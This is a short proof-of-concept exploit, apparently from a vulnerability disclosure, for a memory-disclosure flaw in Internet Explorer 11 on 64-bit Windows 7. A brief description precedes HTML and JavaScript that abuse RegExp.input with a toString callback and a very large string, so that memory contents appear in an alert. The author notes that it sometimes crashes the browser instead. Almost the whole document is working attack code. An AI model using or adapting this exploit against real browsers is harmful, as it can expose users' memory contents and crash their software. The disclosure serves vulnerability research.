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/*There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.This was tested on IE11 running on Window 7 64-bit with the latest patches applied.PoC:=========================================*/<!-- saved from url=(0014)about:internet --><script>function main() { RegExp.input = {toString: f}; alert(RegExp.lastMatch);}var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");function f() { String.prototype.match.call(input, "bbbbbbbbbb");}main();</script>/*=========================================Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed*/ |
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